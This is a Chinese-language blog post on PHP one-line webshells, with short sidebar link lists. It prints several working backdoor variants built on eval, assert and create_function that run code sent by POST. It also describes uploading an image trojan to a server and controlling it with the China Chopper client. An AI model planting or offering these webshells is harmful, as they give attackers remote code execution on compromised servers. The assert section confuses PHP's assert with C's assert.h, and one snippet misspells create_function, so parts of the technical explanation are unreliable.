当前位置:网站首页>PHP之一句话木马
PHP之一句话木马
2022-06-26 04:59:00 【伯麟】
一句话木马的普通形式
<?php eval(@$_POST['password']);?>
<?php ;?>是php的基本格式 eval是执行函数
$_POST[‘password’]是接收的数据,此处使用的是POST方式,同样存在GET、COOKIE方式,一句话木马通过eval函数把接收的数据当作PHP代码来执行
曾经用传图片木马进入服务器,并用菜刀进行了连接,菜刀连接需要输入密码,使用的便是参数中的内容“password”。
连接过程中发现问题,连接时候,服务器端弹出窗口,需要人为关闭此窗口,客户端才可以用菜刀成功连接。否则连接不成功。(具体为何还未解决,抽时间会解决此问题)
使用函数
- assert函数
<?php assert(@$_POST['password']);?>
assert的作用是现计算表达式 expression ,如果其值为假(即为0),那么它先向stderr打印一条出错信息,然后通过调用 abort 来终止程序运行。
assert()的缺点是,频繁的调用会极大的影响程序的性能,增加额外的开销。
许多地方已经将assert函数禁用,因为assert只在DEBUG个生效,只需要在#include <assert.h>前加上#define NDEBUG便可禁用,也可以通过改变环境实现。
比较好的在程序中使用assert的地方:
- 空指针检查。例如,针对一个函数的参数进行空指针检查。你可以这样使用:
assert (pointer != NULL);
产生的错误会像这样:
Assertion ‘pointer != ((void *)0)’ failed。
这样,当出现空指针时,你的程序就会退出,并很好的给出错误信息。 - 检查函数参数的值。例如,如果一个函数只能在它的一个参数foo为正值的时候被调用,你可以在函数开始时这样写:
assert (foo > 0);,
这将帮助你检测函数的错误使用,这也给源代码阅读者很清晰的印象,那就是在这里对函数的参数值有限制。
- 空指针检查。例如,针对一个函数的参数进行空指针检查。你可以这样使用:
我们可以尝试在自己的木马中合理使用。
- create_funtion函数
<?php
$fun = create_funtion('',$_POST['password']);
$fun();
?>
create_funtion函数的作用是根据传递的参数创建匿名函数,并为其返回唯一名称。
使用方法:把用户传递的数据生成一个函数,例如上述fun(),然后再执行fun()。
- 以下代码参考
<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
?>
create_function()会创建一个匿名函数(lambda样式)。此处创建了一个叫lambda_1的函数,在第一个echo中显示出名字,并在第二个echo语句中执行了此函数。
create_function()函数会在内部执行 eval(),我们发现是执行了后面的return语句,属于create_function()中的第二个参数string $code位置。
边栏推荐
- Zuul 实现动态路由
- Multipass Chinese document - use packer to package multipass image
- Multipass中文文档-移除实例
- Guanghetong and anti international bring 5g R16 powerful performance to the AI edge computing platform based on NVIDIA Jetson Xavier nx
- 86.(cesium篇)cesium叠加面接收阴影效果(gltf模型)
- 0622 horse palm fell 9%
- numpy 索引及切片
- ThreadPoolExecutor implements file uploading and batch inserting data
- UWB超高精度定位系统架构图
- 做软件测试学历重要还是能力重要
猜你喜欢

2022.1.24

How MySQL deletes all redundant duplicate data

天才制造者:獨行俠、科技巨頭和AI|深度學習崛起十年

UWB ultra high precision positioning system architecture

PSIM software learning ---08 call of C program block

天才制造者:独行侠、科技巨头和AI|深度学习崛起十年
![[H5 development] 03- take you hand in hand to improve H5 development - single submission vs batch submission with a common interface](/img/37/84b7d59818e854dac71d6f06700cde.jpg)
[H5 development] 03- take you hand in hand to improve H5 development - single submission vs batch submission with a common interface

Install Damon database

Zuul 实现动态路由

#微信小程序# 在小程序里面退出退出小程序(navigator以及API--wx.exitMiniProgram)
随机推荐
2022.1.24
Use fill and fill in Matplotlib_ Between fill the blank area between functions
[quartz] read configuration from database to realize dynamic timing task
MySql如何删除所有多余的重复数据
Numpy data input / output
Condition query
Simple application of KMP
ROS 笔记(07)— 客户端 Client 和服务端 Server 的实现
Using Matplotlib to add an external image at the canvas level
Difference between return and yield
Text horizontal alignment attribute text align and element vertical alignment attribute vertical align
2022.2.10
2. < tag dynamic programming and conventional problems > lt.343 integer partition
Datetime data type - min() get the earliest date and date_ Range() creates a date range, timestamp() creates a timestamp, and tz() changes the time zone
A new paradigm for large model application: unified feature representation optimization (UFO)
torchvision_transform(图像增强)
UWB ultra high precision positioning system architecture
Rdkit chemical formula molecular formula search
0622-马棕榈跌9%
dijkstra